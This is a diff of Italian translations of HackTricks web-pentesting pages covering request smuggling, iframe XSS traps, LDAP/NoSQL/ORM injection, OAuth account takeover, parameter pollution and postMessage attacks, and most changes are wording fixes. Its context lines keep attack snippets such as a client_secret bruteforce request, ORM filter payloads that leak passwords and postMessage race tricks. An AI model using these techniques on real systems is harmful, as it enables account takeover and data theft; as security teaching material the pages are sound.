@@ -127,6 +127,6 @@ La vittima riceverà come risposta la **risposta HEAD + il contenuto della rispo
 
 Tuttavia, nota come i **dati riflessi avessero una dimensione secondo il Content-Length** della **risposta HEAD** che **ha generato una risposta HTTP valida nella coda delle risposte**.
 
-Pertanto, la **prossima richiesta della seconda vittima** riceverà come **risposta qualcosa di completamente creato dall'attaccante**. Poiché la risposta è completamente creata dall'attaccante, può anche **far sì che il proxy memorizzi la risposta**.
+Pertanto, la **prossima richiesta del secondo vittima** riceverà come **risposta qualcosa completamente creato dall'attaccante**. Poiché la risposta è completamente creata dall'attaccante, può anche **far sì che il proxy memorizzi la risposta**.
 
 {{#include ../banners/hacktricks-training.md}}

src/pentesting-web/iframe-traps.md

@@ -2,15 +2,15 @@
 
 {{#include ../banners/hacktricks-training.md}}
 
-## Informazioni di Base
+## Informazioni di base
 
 Questa forma di abuso di XSS tramite iframe per rubare informazioni dall'utente che si muove attraverso la pagina web è stata originariamente pubblicata in questi 2 post di trustedsec.com: [**qui**](https://trustedsec.com/blog/persisting-xss-with-iframe-traps) **e** [**qui**](https://trustedsec.com/blog/js-tap-weaponizing-javascript-for-red-teams).
 
 L'attacco inizia in una pagina vulnerabile a un XSS dove è possibile fare in modo che le **vittime non lascino l'XSS** facendole **navigare all'interno di un iframe** che occupa tutta l'applicazione web.
 
-L'attacco XSS caricherà fondamentalmente la pagina web in un iframe nel 100% dello schermo. Pertanto, la vittima **non si accorgerà di essere all'interno di un iframe**. Poi, se la vittima naviga nella pagina cliccando sui link all'interno dell'iframe (all'interno del web), si troverà **a navigare all'interno dell'iframe** con il JS arbitrario caricato che ruba informazioni da questa navigazione.
+L'attacco XSS caricherà fondamentalmente la pagina web in un iframe nel 100% dello schermo. Pertanto, la vittima **non si accorgerà di essere all'interno di un iframe**. Poi, se la vittima naviga nella pagina cliccando sui link all'interno dell'iframe (all'interno del web), sarà **navigando all'interno dell'iframe** con il JS arbitrario caricato che ruba informazioni da questa navigazione.
 
-Inoltre, per renderlo più realistico, è possibile utilizzare alcuni **listener** per controllare quando un iframe cambia la posizione della pagina e aggiornare l'URL del browser con quelle posizioni che l'utente pensa di star cambiando pagina utilizzando il browser.
+Inoltre, per renderlo più realistico, è possibile utilizzare alcuni **listener** per controllare quando un iframe cambia la posizione della pagina e aggiornare l'URL del browser con quelle posizioni che l'utente pensa di star cambiando pagine utilizzando il browser.
 
 <figure><img src="../images/image (1248).png" alt=""><figcaption><p><a href="https://www.trustedsec.com/wp-content/uploads/2022/04/regEvents.png">https://www.trustedsec.com/wp-content/uploads/2022/04/regEvents.png</a></p></figcaption></figure>
 

src/pentesting-web/ldap-injection.md

@@ -4,6 +4,7 @@
 
 {{#include ../banners/hacktricks-training.md}}
 
+
 ## LDAP Injection
 
 ### **LDAP**
@@ -14,7 +15,7 @@
 ../network-services-pentesting/pentesting-ldap.md
 {{#endref}}
 
-**LDAP Injection** è un attacco che prende di mira le applicazioni web che costruiscono dichiarazioni LDAP dall'input dell'utente. Si verifica quando l'applicazione **non riesce a sanitizzare correttamente** l'input, consentendo agli attaccanti di **manipolare le dichiarazioni LDAP** tramite un proxy locale, potenzialmente portando ad accessi non autorizzati o manipolazione dei dati.
+**LDAP Injection** è un attacco che prende di mira le applicazioni web che costruiscono dichiarazioni LDAP a partire dall'input dell'utente. Si verifica quando l'applicazione **non riesce a sanitizzare correttamente** l'input, consentendo agli attaccanti di **manipolare le dichiarazioni LDAP** tramite un proxy locale, potenzialmente portando ad accessi non autorizzati o manipolazione dei dati.
 
 {% file src="../images/EN-Blackhat-Europe-2008-LDAP-Injection-Blind-LDAP-Injection.pdf" %}
 
@@ -180,7 +181,7 @@ if char == alphabet[-1]: #If last of all the chars, then, no more chars in the v
 finish = True
 print()
 ```
-#### **Iniezione LDAP Speciale Cieca (senza "\*")**
+#### **Iniezione LDAP Cieca Speciale (senza "\*")**
 ```python
 #!/usr/bin/python3
 

src/pentesting-web/login-bypass/README.md

@@ -37,7 +37,7 @@ sql-login-bypass.md
 
 [Qui puoi trovare diversi trucchi per bypassare il login tramite **No SQL Injections**](../nosql-injection.md#basic-authentication-bypass)**.**
 
-Poiché le NoSQL Injections richiedono di cambiare il valore dei parametri, dovrai testarli manualmente.
+Poiché le NoSQL Injections richiedono di cambiare il valore dei parametri, dovrai testarle manualmente.
 
 ### Bypass di autenticazione XPath Injection
 

src/pentesting-web/login-bypass/sql-login-bypass.md

@@ -2,7 +2,7 @@
 
 Questa lista contiene **payload per bypassare il login tramite XPath, LDAP e SQL injection** (in quest'ordine).
 
-Il modo per utilizzare questa lista è di inserire le **prime 200 righe come nome utente e password.** Poi, inserire l'intera lista nel campo del nome utente per primo e poi nel campo della password, mentre si inserisce una password (come _Pass1234._) o un nome utente conosciuto (come _admin_).
+Il modo per utilizzare questa lista è di inserire le **prime 200 righe come nome utente e password.** Poi, inserire l'elenco completo prima nel campo del nome utente e poi in quello della password, mentre si inserisce una password (come _Pass1234._) o un nome utente noto (come _admin_).
 ```
 admin
 password

src/pentesting-web/nosql-injection.md

@@ -178,7 +178,7 @@ password += c
 ```
 ### Brute-force login usernames and passwords from POST login
 
-Questo è uno script semplice che puoi modificare, ma anche gli strumenti precedenti possono svolgere questo compito.
+Questo è uno script semplice che potresti modificare, ma anche gli strumenti precedenti possono svolgere questo compito.
 ```python
 import requests
 import string

src/pentesting-web/oauth-to-account-takeover.md

@@ -2,7 +2,6 @@
 
 {{#include ../banners/hacktricks-training.md}}
 
-
 ## Informazioni di base <a href="#d4a8" id="d4a8"></a>
 
 OAuth offre varie versioni, con informazioni fondamentali accessibili nella [documentazione OAuth 2.0](https://oauth.net/2/). Questa discussione si concentra principalmente sul [tipo di concessione del codice di autorizzazione OAuth 2.0](https://oauth.net/2/grant-types/authorization-code/), fornendo un **framework di autorizzazione che consente a un'applicazione di accedere o eseguire azioni sull'account di un utente in un'altra applicazione** (il server di autorizzazione).
@@ -41,7 +40,7 @@ https://socialmedia.com/auth
 &state=randomString123
 ```
 3. Ti viene quindi presentata una pagina di consenso.  
-4. Dopo la tua approvazione, Social Media invia una risposta al `redirect_uri` con i parametri `code` e `state`:
+4. Dopo la tua approvazione, Social Media invia una risposta all'`redirect_uri` con i parametri `code` e `state`:
 ```
 https://example.com?code=uniqueCode123&state=randomString123
 ```
@@ -57,11 +56,11 @@ Host: socialmedia.com
 
 Il `redirect_uri` è cruciale per la sicurezza nelle implementazioni di OAuth e OpenID, poiché indica dove vengono inviati i dati sensibili, come i codici di autorizzazione, dopo l'autorizzazione. Se configurato in modo errato, potrebbe consentire agli attaccanti di reindirizzare queste richieste a server malevoli, abilitando il takeover dell'account.
 
-Le tecniche di sfruttamento variano in base alla logica di convalida del server di autorizzazione. Possono variare da un abbinamento di percorso rigoroso ad accettare qualsiasi URL all'interno del dominio o sottodirectory specificati. I metodi di sfruttamento comuni includono reindirizzamenti aperti, traversata di percorso, sfruttamento di regex deboli e iniezione HTML per il furto di token.
+Le tecniche di sfruttamento variano in base alla logica di convalida del server di autorizzazione. Possono variare da un abbinamento di percorso rigoroso all'accettazione di qualsiasi URL all'interno del dominio o sottodirectory specificati. I metodi di sfruttamento comuni includono reindirizzamenti aperti, traversata di percorso, sfruttamento di regex deboli e iniezione HTML per il furto di token.
 
 Oltre al `redirect_uri`, altri parametri di OAuth e OpenID come `client_uri`, `policy_uri`, `tos_uri` e `initiate_login_uri` sono anch'essi suscettibili ad attacchi di reindirizzamento. Questi parametri sono facoltativi e il loro supporto varia tra i server.
 
-Per coloro che mirano a un server OpenID, l'endpoint di scoperta (`**.well-known/openid-configuration**`) elenca spesso dettagli di configurazione preziosi come `registration_endpoint`, `request_uri_parameter_supported` e "`require_request_uri_registration`. Questi dettagli possono aiutare a identificare l'endpoint di registrazione e altre specifiche di configurazione del server.
+Per coloro che mirano a un server OpenID, l'endpoint di discovery (`**.well-known/openid-configuration**`) elenca spesso dettagli di configurazione preziosi come `registration_endpoint`, `request_uri_parameter_supported` e "`require_request_uri_registration`. Questi dettagli possono aiutare a identificare l'endpoint di registrazione e altre specifiche di configurazione del server.
 
 ### XSS nell'implementazione del reindirizzamento <a href="#bda5" id="bda5"></a>
 
@@ -73,7 +72,7 @@ https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboard</scrip
 
 Nelle implementazioni di OAuth, l'uso improprio o l'omissione del **`state` parameter** può aumentare significativamente il rischio di attacchi di **Cross-Site Request Forgery (CSRF)**. Questa vulnerabilità si verifica quando il parametro `state` è **non utilizzato, utilizzato come valore statico o non validato correttamente**, consentendo agli attaccanti di eludere le protezioni CSRF.
 
-Gli attaccanti possono sfruttare questo intercettando il processo di autorizzazione per collegare il proprio account a quello della vittima, portando a potenziali **account takeovers**. Questo è particolarmente critico nelle applicazioni in cui OAuth è utilizzato per **scopi di autenticazione**.
+Gli attaccanti possono sfruttare questo intercettando il processo di autorizzazione per collegare il proprio account a quello di una vittima, portando a potenziali **account takeovers**. Questo è particolarmente critico nelle applicazioni in cui OAuth è utilizzato per **scopi di autenticazione**.
 
 Esempi reali di questa vulnerabilità sono stati documentati in varie **CTF challenges** e **hacking platforms**, evidenziando le sue implicazioni pratiche. Il problema si estende anche alle integrazioni con servizi di terze parti come **Slack**, **Stripe** e **PayPal**, dove gli attaccanti possono reindirizzare notifiche o pagamenti ai propri account.
 
@@ -92,7 +91,7 @@ Una vulnerabilità comune si verifica quando le applicazioni gestiscono erroneam
 
 ### Bruteforce del Client Secret
 
-Puoi provare a **bruteforce il client_secret** di un fornitore di servizi con l'identità del fornitore per cercare di rubare account.\
+Puoi provare a **bruteforce il client_secret** di un fornitore di servizi con il provider di identità per cercare di rubare account.\
 La richiesta per BF potrebbe apparire simile a:
 ```
 POST /token HTTP/1.1
@@ -103,23 +102,23 @@ Connection: close
 
 code=77515&redirect_uri=http%3A%2F%2F10.10.10.10%3A3000%2Fcallback&grant_type=authorization_code&client_id=public_client_id&client_secret=[bruteforce]
 ```
-### Referer Header leaking Code + State
+### Riferimento Header che perde Codice + Stato
 
-Una volta che il client ha il **code and state**, se è **riflesso all'interno dell'header Referer** quando naviga su un'altra pagina, allora è vulnerabile.
+Una volta che il client ha il **codice e lo stato**, se è **riflesso all'interno dell'header Referer** quando naviga su un'altra pagina, allora è vulnerabile.
 
-### Access Token Stored in Browser History
+### Token di Accesso Salvato nella Cronologia del Browser
 
-Vai alla **cronologia del browser e controlla se l'access token è salvato lì**.
+Vai alla **cronologia del browser e controlla se il token di accesso è salvato lì**.
 
-### Everlasting Authorization Code
+### Codice di Autorizzazione Eterno
 
-Il **authorization code dovrebbe vivere solo per un certo periodo per limitare la finestra temporale in cui un attaccante può rubarlo e usarlo**.
+Il **codice di autorizzazione dovrebbe vivere solo per un certo tempo per limitare la finestra temporale in cui un attaccante può rubarlo e usarlo**.
 
-### Authorization/Refresh Token not bound to client
+### Token di Autorizzazione/Rinnovo non legato al client
 
-Se puoi ottenere il **authorization code e usarlo con un client diverso, allora puoi prendere il controllo di altri account**.
+Se puoi ottenere il **codice di autorizzazione e usarlo con un client diverso, allora puoi prendere il controllo di altri account**.
 
-### Happy Paths, XSS, Iframes & Post Messages to leak code & state values
+### Percorsi Felici, XSS, Iframes & Post Messages per perdere valori di codice & stato
 
 [**Controlla questo post**](https://labs.detectify.com/writeups/account-hijacking-using-dirty-dancing-in-sign-in-oauth-flows/#gadget-2-xss-on-sandbox-third-party-domain-that-gets-the-url)
 

src/pentesting-web/orm-injection.md

@@ -20,7 +20,7 @@ return Response([])
 return Response(serializer.data)
 </code></pre>
 
-Nota come tutti i request.data (che saranno un json) siano direttamente passati a **filtrare oggetti dal database**. Un attaccante potrebbe inviare filtri inaspettati per cercare di leakare più dati del previsto.
+Nota come tutto il request.data (che sarà un json) venga passato direttamente a **filtrare oggetti dal database**. Un attaccante potrebbe inviare filtri inaspettati per cercare di leakare più dati del previsto.
 
 Esempi:
 
@@ -43,7 +43,7 @@ Esempi:
 > [!CAUTION]
 > È possibile trovare la password di tutti gli utenti che hanno creato un articolo
 
-- **Filtraggio relazionale molti-a-molti**: Nell'esempio precedente non siamo riusciti a trovare le password degli utenti che non hanno creato un articolo. Tuttavia, seguendo altre relazioni, questo è possibile. Ad esempio: Article(`created_by`) -\[1..1]-> Author(`departments`) -\[0..\*]-> Department(`employees`) -\[0..\*]-> Author(`user`) -\[1..1]-> User(`password`).
+- **Filtraggio relazionale molti-a-molti**: Nell'esempio precedente non siamo riusciti a trovare le password degli utenti che non hanno creato un articolo. Tuttavia, seguendo altre relazioni questo è possibile. Ad esempio: Article(`created_by`) -\[1..1]-> Author(`departments`) -\[0..\*]-> Department(`employees`) -\[0..\*]-> Author(`user`) -\[1..1]-> User(`password`).
 ```json
 {
 "created_by__departments__employees__user_startswith": "admi"
@@ -60,7 +60,7 @@ created_by__user__groups__user__password
 # By users with the same permission
 created_by__user__user_permissions__user__password
 ```
-- **Bypass filter restrictions**: Lo stesso blog ha proposto di bypassare l'uso di alcuni filtri come `articles = Article.objects.filter(is_secret=False, **request.data)`. È possibile estrarre articoli che hanno is_secret=True perché possiamo tornare indietro da una relazione alla tabella Article e rivelare articoli segreti da articoli non segreti poiché i risultati sono uniti e il campo is_secret viene controllato nell'articolo non segreto mentre i dati vengono rivelati dall'articolo segreto.
+- **Bypass filter restrictions**: Lo stesso post del blog ha proposto di bypassare l'uso di alcuni filtri come `articles = Article.objects.filter(is_secret=False, **request.data)`. È possibile dumpare articoli che hanno is_secret=True perché possiamo tornare indietro da una relazione alla tabella Article e leakare articoli segreti da articoli non segreti poiché i risultati sono uniti e il campo is_secret viene controllato nell'articolo non segreto mentre i dati vengono leakati dall'articolo segreto.
 ```bash
 Article.objects.filter(is_secret=False, categories__articles__id=2)
 ```
@@ -268,7 +268,7 @@ res.json([])
 ]
 }
 ```
-Dove `{CONTAINS_LIST}` è un elenco con 1000 stringhe per assicurarsi che **la risposta sia ritardata quando viene trovata la corretta leak.**
+Dove il `{CONTAINS_LIST}` è un elenco con 1000 stringhe per assicurarsi che **la risposta sia ritardata quando viene trovata la corretta leak.**
 
 ## **Ransack (Ruby)**
 

src/pentesting-web/parameter-pollution.md

@@ -4,7 +4,6 @@
 
 {{#include ../banners/hacktricks-training.md}}
 
-
 ## Panoramica dell'Inquinamento dei Parametri HTTP (HPP)
 
 L'Inquinamento dei Parametri HTTP (HPP) è una tecnica in cui gli attaccanti manipolano i parametri HTTP per cambiare il comportamento di un'applicazione web in modi non intenzionati. Questa manipolazione avviene aggiungendo, modificando o duplicando i parametri HTTP. L'effetto di queste manipolazioni non è direttamente visibile all'utente, ma può alterare significativamente la funzionalità dell'applicazione sul lato server, con impatti osservabili sul lato client.
@@ -49,7 +48,7 @@ Questo esempio sottolinea ulteriormente la necessità di una gestione sicura dei
 
 Il modo in cui le tecnologie web gestiscono i parametri HTTP duplicati varia, influenzando la loro suscettibilità agli attacchi HPP:
 
-- **Flask:** Adotta il primo valore del parametro incontrato, come `a=1` in una stringa di query `a=1&a=2`, privilegiando l'istanza iniziale rispetto ai duplicati successivi.
+- **Flask:** Adozione del primo valore del parametro incontrato, come `a=1` in una stringa di query `a=1&a=2`, privilegiando l'istanza iniziale rispetto ai duplicati successivi.
 - **PHP (su Apache HTTP Server):** Al contrario, privilegia l'ultimo valore del parametro, optando per `a=2` nell'esempio fornito. Questo comportamento può facilitare involontariamente gli exploit HPP onorando il parametro manipolato dall'attaccante rispetto all'originale.
 
 ## Inquinamento dei parametri per tecnologia
@@ -61,9 +60,9 @@ I risultati sono stati presi da [https://medium.com/@0xAwali/http-parameter-poll
 <figure><img src="../images/image (1255).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*l_Pf2JNCYhmfAvfk7UTEbQ.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*l_Pf2JNCYhmfAvfk7UTEbQ.jpeg</a></p></figcaption></figure>
 
 1. Ignora tutto dopo %00 nel nome del parametro.
-2. Gestisci name\[] come array.
+2. Gestisce name\[] come array.
 3. \_GET non significa metodo GET.
-4. Preferisci l'ultimo parametro.
+4. Preferisce l'ultimo parametro.
 
 ### Ruby 3.3.5 e WEBrick 1.8.2
 
@@ -71,7 +70,7 @@ I risultati sono stati presi da [https://medium.com/@0xAwali/http-parameter-poll
 
 1. Usa i delimitatori & e ; per separare i parametri.
 2. Non riconosce name\[].
-3. Preferisci il primo parametro.
+3. Preferisce il primo parametro.
 
 ### Spring MVC 6.0.23 E Apache Tomcat 10.1.30 <a href="#dd68" id="dd68"></a>
 
@@ -79,7 +78,7 @@ I risultati sono stati presi da [https://medium.com/@0xAwali/http-parameter-poll
 
 1. POST RequestMapping == PostMapping & GET RequestMapping == GetMapping.
 2. POST RequestMapping & PostMapping riconoscono name\[].
-3. Preferisci name se name E name\[] esistono.
+3. Preferisce name se name E name\[] esistono.
 4. Concatenare i parametri e.g. first,last.
 5. POST RequestMapping & PostMapping riconoscono i parametri di query con Content-Type.
 
@@ -95,28 +94,28 @@ I risultati sono stati presi da [https://medium.com/@0xAwali/http-parameter-poll
 <figure><img src="../images/image (1260).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*NVvN1N8sL4g_Gi796FzlZA.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*NVvN1N8sL4g_Gi796FzlZA.jpeg</a></p></figcaption></figure>
 
 1. NON riconosce name\[].
-2. Preferisci il primo parametro.
+2. Preferisce il primo parametro.
 
 ### Python 3.12.6 E Werkzeug 3.0.4 E Flask 3.0.3 <a href="#b853" id="b853"></a>
 
 <figure><img src="../images/image (1261).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*Se5467PFFjIlmT3O7KNlWQ.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*Se5467PFFjIlmT3O7KNlWQ.jpeg</a></p></figcaption></figure>
 
 1. NON riconosce name\[].
-2. Preferisci il primo parametro.
+2. Preferisce il primo parametro.
 
 ### Python 3.12.6 E Django 4.2.15 <a href="#id-8079" id="id-8079"></a>
 
 <figure><img src="../images/image (1262).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rf38VXut5YhAx0ZhUzgT8Q.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rf38VXut5YhAx0ZhUzgT8Q.jpeg</a></p></figcaption></figure>
 
 1. NON riconosce name\[].
-2. Preferisci l'ultimo parametro.
+2. Preferisce l'ultimo parametro.
 
 ### Python 3.12.6 E Tornado 6.4.1 <a href="#id-2ad8" id="id-2ad8"></a>
 
 <figure><img src="../images/image (1263).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*obCn7xahDc296JZccXM2qQ.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*obCn7xahDc296JZccXM2qQ.jpeg</a></p></figcaption></figure>
 
 1. NON riconosce name\[].
-2. Preferisci l'ultimo parametro.
+2. Preferisce l'ultimo parametro.
 
 ## Iniezione JSON
 
@@ -137,7 +136,7 @@ Alcaratteri non verranno interpretati correttamente dal frontend, ma il backend
 ```
 Nota come in questi casi il front end potrebbe pensare che `test == 1` e il backend penserà che `test == 2`.
 
-Questo può anche essere utilizzato per bypassare le restrizioni sui valori come:
+Questo può anche essere usato per bypassare le restrizioni sui valori come:
 ```json
 {"role": "administrator\[raw \x0d byte]"}
 {"role":"administrator\ud800"}

src/pentesting-web/pocs-and-polygloths-cheatsheet/README.md

@@ -5,7 +5,7 @@
 L'obiettivo di queste PoCs e Polygloths è fornire al tester un **riassunto** veloce delle vulnerabilità che può sfruttare se il suo **input viene in qualche modo riflesso nella risposta**.
 
 > [!WARNING]
-> Questa **cheat sheet non propone un elenco completo di test per ogni vulnerabilità**, solo alcuni test di base. Se stai cercando test più completi, accedi a ciascuna vulnerabilità proposta.
+> Questa **cheat sheet non propone un elenco completo di test per ogni vulnerabilità**, solo alcuni di base. Se stai cercando test più completi, accedi a ciascuna vulnerabilità proposta.
 
 > [!CAUTION]
 > Non **troverai iniezioni dipendenti dal Content-Type come XXE**, poiché di solito proverai quelle tu stesso se trovi una richiesta che invia dati xml. Non **troverai nemmeno iniezioni di database** qui, poiché anche se alcuni contenuti potrebbero essere riflessi, dipende fortemente dalla tecnologia e dalla struttura del DB backend.

src/pentesting-web/postmessage-vulnerabilities/README.md

@@ -38,7 +38,7 @@ Se viene utilizzato il **carattere jolly**, i **messaggi possono essere inviati
 
 ### Attacco a iframe e carattere jolly in **targetOrigin**
 
-Come spiegato in [**questo report**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/), se trovi una pagina che può essere **iframed** (senza protezione `X-Frame-Header`) e che sta **inviando messaggi sensibili** tramite **postMessage** utilizzando un **carattere jolly** (\*), puoi **modificare** l'**origine** dell'**iframe** e **leakare** il **messaggio sensibile** a un dominio controllato da te.\
+Come spiegato in [**questo report**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/), se trovi una pagina che può essere **iframed** (senza protezione `X-Frame-Header`) e che sta **inviando messaggi sensibili** tramite **postMessage** utilizzando un **carattere jolly** (\*), puoi **modificare** l'**origine** dell'**iframe** e **leak** il **messaggio sensibile** a un dominio controllato da te.\
 Nota che se la pagina può essere iframed ma il **targetOrigin** è **impostato su un URL e non su un carattere jolly**, questo **trucco non funzionerà**.
 ```markup
 <html>
@@ -86,7 +86,7 @@ Per **trovare i listener di eventi** nella pagina corrente puoi:
 
 - Usa un **estensione del browser** come [**https://github.com/benso-io/posta**](https://github.com/benso-io/posta) o [https://github.com/fransr/postMessage-tracker](https://github.com/fransr/postMessage-tracker). Queste estensioni del browser **intercetteranno tutti i messaggi** e te li mostreranno.
 
-### Bypass dei controlli di origine
+### Bypass dell'origine
 
 - L'attributo **`event.isTrusted`** è considerato sicuro in quanto restituisce `True` solo per eventi generati da azioni genuine dell'utente. Anche se è difficile da bypassare se implementato correttamente, la sua importanza nei controlli di sicurezza è notevole.
 - L'uso di **`indexOf()`** per la validazione dell'origine negli eventi PostMessage può essere suscettibile a bypass. Un esempio che illustra questa vulnerabilità è:
@@ -130,7 +130,7 @@ Quando si incorpora una pagina web all'interno di un **iframe sandboxed** utiliz
 
 Specificando **`allow-popups`** nell'attributo sandbox, qualsiasi finestra popup aperta dall'interno dell'iframe eredita le restrizioni sandbox del suo genitore. Ciò significa che a meno che l'attributo **`allow-popups-to-escape-sandbox`** non sia incluso, l'origine della finestra popup è anch'essa impostata su `null`, allineandosi con l'origine dell'iframe.
 
-Di conseguenza, quando una popup viene aperta in queste condizioni e un messaggio viene inviato dall'iframe alla popup utilizzando **`postMessage`**, sia il mittente che il destinatario hanno le loro origini impostate su `null`. Questa situazione porta a uno scenario in cui **`e.origin == window.origin`** risulta vero (`null == null`), poiché sia l'iframe che la popup condividono lo stesso valore di origine di `null`.
+Di conseguenza, quando una popup viene aperta in queste condizioni e un messaggio viene inviato dall'iframe alla popup utilizzando **`postMessage`**, sia l'invio che la ricezione hanno le loro origini impostate su `null`. Questa situazione porta a uno scenario in cui **`e.origin == window.origin`** valuta a true (`null == null`), poiché sia l'iframe che la popup condividono lo stesso valore di origine di `null`.
 
 Per ulteriori informazioni **leggi**:
 
@@ -140,7 +140,7 @@ bypassing-sop-with-iframes-1.md
 
 ### Bypassare e.source
 
-È possibile controllare se il messaggio proviene dalla stessa finestra in cui lo script sta ascoltando (particolarmente interessante per **Content Scripts delle estensioni del browser** per controllare se il messaggio è stato inviato dalla stessa pagina):
+È possibile controllare se il messaggio proviene dalla stessa finestra in cui lo script sta ascoltando (particolarmente interessante per **Content Scripts da estensioni del browser** per controllare se il messaggio è stato inviato dalla stessa pagina):
 ```javascript
 // If it’s not, return immediately.
 if (received_message.source !== window) {
@@ -157,7 +157,7 @@ bypassing-sop-with-iframes-2.md
 
 ### Bypass dell'header X-Frame
 
-Per eseguire questi attacchi, idealmente sarai in grado di **mettere la pagina web della vittima** all'interno di un `iframe`. Ma alcuni header come `X-Frame-Header` possono **prevenire** quel **comportamento**.\
+Per eseguire questi attacchi, idealmente dovresti essere in grado di **mettere la pagina web della vittima** all'interno di un `iframe`. Ma alcuni header come `X-Frame-Header` possono **prevenire** quel **comportamento**.\
 In quei scenari puoi comunque utilizzare un attacco meno furtivo. Puoi aprire una nuova scheda per l'applicazione web vulnerabile e comunicare con essa:
 ```markup
 <script>
@@ -167,7 +167,7 @@ setTimeout(function(){w.postMessage('text here','*');}, 2000);
 ```
 ### Rubare messaggi inviati al child bloccando la pagina principale
 
-Nella seguente pagina puoi vedere come potresti rubare un **sensitive postmessage data** inviato a un **child iframe** bloccando la **pagina principale** prima di inviare i dati e abusando di un **XSS nel child** per **leakare i dati** prima che vengano ricevuti:
+Nella seguente pagina puoi vedere come potresti rubare dei **dati postmessage sensibili** inviati a un **child iframe** bloccando la **pagina principale** prima di inviare i dati e abusando di un **XSS nel child** per **leakare i dati** prima che vengano ricevuti:
 
 {{#ref}}
 blocking-main-page-to-steal-postmessage.md
@@ -175,7 +175,7 @@ blocking-main-page-to-steal-postmessage.md
 
 ### Rubare messaggi modificando la posizione dell'iframe
 
-Se puoi iframe una pagina web senza X-Frame-Header che contiene un altro iframe, puoi **cambiare la posizione di quel child iframe**, quindi se sta ricevendo un **postmessage** inviato utilizzando un **wildcard**, un attaccante potrebbe **cambiare** quell'iframe **origin** in una pagina **controllata** da lui e **rubare** il messaggio:
+Se puoi iframe una pagina web senza X-Frame-Header che contiene un altro iframe, puoi **cambiare la posizione di quel child iframe**, quindi se sta ricevendo un **postmessage** inviato utilizzando un **wildcard**, un attaccante potrebbe **cambiare** quell'iframe **origin** a una pagina **controllata** da lui e **rubare** il messaggio:
 
 {{#ref}}
 steal-postmessage-modifying-iframe-location.md
@@ -185,7 +185,7 @@ steal-postmessage-modifying-iframe-location.md
 
 In scenari in cui i dati inviati tramite `postMessage` vengono eseguiti da JS, puoi **iframe** la **pagina** e **sfruttare** la **prototype pollution/XSS** inviando l'exploit tramite `postMessage`.
 
-Un paio di **ottimamente spiegati XSS tramite `postMessage`** possono essere trovati in [https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html)
+Un paio di **XSS molto ben spiegati tramite `postMessage`** possono essere trovati in [https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html)
 
 Esempio di un exploit per abusare di **Prototype Pollution e poi XSS** tramite un `postMessage` a un `iframe`:
 ```html

src/pentesting-web/postmessage-vulnerabilities/blocking-main-page-to-steal-postmessage.md

@@ -4,15 +4,15 @@
 
 ## Vincere RC con Iframes
 
-Secondo questo [**writeup di Terjanq**](https://gist.github.com/terjanq/7c1a71b83db5e02253c218765f96a710), i documenti blob creati da origini nulle sono isolati per motivi di sicurezza, il che significa che se mantieni occupata la pagina principale, la pagina iframe verrà eseguita.
+Secondo questo [**writeup di Terjanq**](https://gist.github.com/terjanq/7c1a71b83db5e02253c218765f96a710), i documenti blob creati da origini null sono isolati per motivi di sicurezza, il che significa che se mantieni occupata la pagina principale, la pagina iframe verrà eseguita.
 
-Fondamentalmente, in quella sfida un **iframe isolato viene eseguito** e subito **dopo** che è **caricato**, la **pagina parent** invierà un **messaggio post** con il **flag**.\
+Fondamentalmente, in quella sfida un **iframe isolato viene eseguito** e subito **dopo** che è **caricato**, la pagina **genitore** invierà un messaggio **post** con il **flag**.\
 Tuttavia, quella comunicazione postmessage è **vulnerabile a XSS** (l'**iframe** può eseguire codice JS).
 
-Pertanto, l'obiettivo dell'attaccante è **far sì che il parent crei l'iframe**, ma **prima** di far sì che la **pagina parent** **invi** i dati sensibili (**flag**), **tenerla occupata** e inviare il **payload all'iframe**. Mentre il **parent è occupato**, l'**iframe esegue il payload**, che sarà un po' di JS che ascolterà il **messaggio postmessage del parent e ruberà il flag**.\
+Pertanto, l'obiettivo dell'attaccante è **far sì che il genitore crei l'iframe**, ma **prima** di far sì che la pagina **genitore** **invi** i dati sensibili (**flag**) **tenerla occupata** e inviare il **payload all'iframe**. Mentre il **genitore è occupato**, l'**iframe esegue il payload** che sarà un po' di JS che ascolterà il **messaggio postmessage del genitore e ruberà il flag**.\
-Infine, l'iframe ha eseguito il payload e la pagina parent smette di essere occupata, quindi invia il flag e il payload lo rivela.
+Infine, l'iframe ha eseguito il payload e la pagina genitore smette di essere occupata, quindi invia il flag e il payload lo rivela.
 
-Ma come potresti far sì che il parent sia **occupato subito dopo aver generato l'iframe e solo mentre aspetta che l'iframe sia pronto per inviare i dati sensibili?** Fondamentalmente, devi trovare un'**azione** **async** che potresti far **eseguire** al parent. Ad esempio, in quella sfida il parent stava **ascoltando** i **postmessages** in questo modo:
+Ma come potresti far sì che il genitore sia **occupato subito dopo aver generato l'iframe e solo mentre aspetta che l'iframe sia pronto per inviare i dati sensibili?** Fondamentalmente, devi trovare un'**azione** **async** che potresti far **eseguire** al genitore. Ad esempio, in quella sfida il genitore stava **ascoltando** i **postmessages** in questo modo:
 ```javascript
 window.addEventListener("message", (e) => {
 if (e.data == "blob loaded") {
@@ -20,7 +20,7 @@ $("#previewModal").modal()
 }
 })
 ```
-quindi era possibile inviare un **intero grande in un postmessage** che verrà **convertito in stringa** in quella comparazione, il che richiederà del tempo:
+quindi era possibile inviare un **intero grande in un postmessage** che sarà **convertito in stringa** in quel confronto, il che richiederà del tempo:
 ```bash
 const buffer = new Uint8Array(1e7);
 win?.postMessage(buffer, '*', [buffer.buffer]);

src/pentesting-web/postmessage-vulnerabilities/bypassing-sop-with-iframes-1.md

